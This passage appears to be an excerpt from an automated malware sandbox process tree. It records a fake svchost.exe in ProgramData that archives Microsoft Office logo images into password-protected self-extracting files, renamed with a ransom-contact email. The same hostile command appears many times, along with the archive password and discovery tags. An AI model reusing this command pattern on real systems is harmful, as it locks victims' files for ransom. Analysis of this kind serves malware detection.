                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5856
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-black_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-black_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-white_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-white_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4776
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-white_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-white_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-white_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-white_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2156
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-white_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-white_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5048
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5308
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4428
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-black_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-black_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-black_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-black_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4800
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-black_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-black_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2316
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-black_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-black_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-white_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-white_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3420
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-white_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-white_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2024
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-white_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-white_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-white_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-white_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3580
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4584
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-black_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-black_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-black_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-black_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:872
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-black_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-black_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-black_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-black_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5328
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-white_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-white_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-white_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-white_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-white_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-white_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-white_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-white_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2940
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-black_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-black_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-black_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-black_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4868
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-black_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-black_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
